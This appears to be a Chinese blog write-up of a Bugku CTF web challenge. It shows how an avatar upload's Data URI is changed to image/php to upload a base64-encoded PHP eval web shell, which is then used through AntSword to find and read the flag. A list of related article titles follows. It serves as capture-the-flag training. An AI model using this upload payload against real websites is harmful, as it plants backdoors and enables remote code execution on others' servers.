当前位置: 首页 > news >正文

Bugku-web题目-xxx二手交易市场

关于bugku题目:xxx二手交易市场,打开题目,先注册一个账号。

随后登录账号

看了一下感觉有头像上传的漏洞点,打开bp,抓取上传头像的那个包

头像上传漏洞点,rce + webshell:

抓包后发现“image=data:image/jpeg;base64,<data>(跟着一大堆乱七八糟编码)”

识别Data URI格式,这就是标准的Data URI 格式:data:[<mediatype>][;base64],<data>

原image/jpeg被替换成image/php,方便植入并执行webshell

payload采用“image=data%3Aimage%2Fphp%3Bbase64%2CPD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=”(URL参数形式),解码后“image=data:image/php;base64,PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=”

在bp的repeater模块中替换并发送了包之后,查看response(响应),可以从data中看到一个路径,使用它返回的路径,在蚁剑中进行连接。

成功进入蚁剑之后,打开虚拟终端,输入“find / -name flag 2>/dev/null”即可找到flag的路径(/var/www/html/flag )

那么此时先将路径回到根目录,“cd /”

再执行“cd /var/www/html”

最后“cat flag”即可得到flag

http://www.dtcms.com/a/613517.html

相关文章:

  • 织梦 图片网站武冈 网站建设
  • WebForms Button:深入解析与最佳实践
  • 深度学习实战(基于pytroch)系列(二十)二维卷积层
  • 每日两道算法(2)
  • Ajax 数据请求:从 XMLHttpRequest 到现代前端数据交互的演进
  • Docker 容器连接
  • 手机网站的必要性建设网络平台 请示
  • Vue3 实现 12306 原版火车票组件:从像素级还原到自适应适配【源码】
  • 玄机-第八章 内存马分析-java03-fastjson
  • 人工智能算法优化YOLO的目标检测能力
  • 网站建设常用的编程语言apache设置网站网址
  • 漳州市网站建设费用p2p的网站开发
  • JAVA之二叉树
  • Gitee完全新手教程
  • 具身智能-8家国内外典型具身智能VLA模型深度解析
  • Go 边缘计算在智能汽车产业的应用
  • (五)自然语言处理笔记——迁移学习
  • 长春网站设计长春网络推广项目计划书包含哪些内容
  • ubuntu 25.10 安装Podman
  • 工业自动化核心系统与概念综述
  • 一步一步学习使用LiveBindings() TListView的进阶使用()
  • 全爱科技携智能计算解决方案亮相高交会
  • 建设部招标网站新闻型网站建设
  • MFC中使用GDI+ 自定义等待界面
  • 信息论(五):联合熵与条件熵
  • flume抽取kafka数据到kafka,数据无法从topicA抽取到topicB
  • 基于最小权限原则的云计算Amazon VPC多层应用安全架构设计
  • 11.2 FastGPT部署指南:Docker一键部署企业级RAG框架
  • 网站建设结课总结贵阳网络推广优化
  • 网络安全态势报告,网络安全风险评估报告文档